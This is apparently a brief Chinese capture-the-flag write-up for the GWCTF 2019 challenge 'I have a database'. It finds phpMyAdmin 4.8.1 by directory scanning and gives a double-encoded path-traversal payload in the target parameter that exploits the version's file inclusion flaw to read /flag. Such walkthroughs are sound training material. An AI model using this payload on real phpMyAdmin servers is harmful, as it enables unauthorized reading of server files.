[大数据][GWCTF 2019]我有一个数据库（每日一题）

[GWCTF 2019]我有一个数据库（每日一题）

1,打开页面，什么也没有发现，扫个目录看看，发现phpmyadmin

2,访问phpmyadmin，版本是4.8.1，这个版本有个任意文件包含的漏洞。

漏洞复现地址：https://www.cnblogs.com/leixiao-/p/10265150.html

3，payload:?target=db_sql.php%253f/../../../../../../flag

ps:今天水了一篇（bushi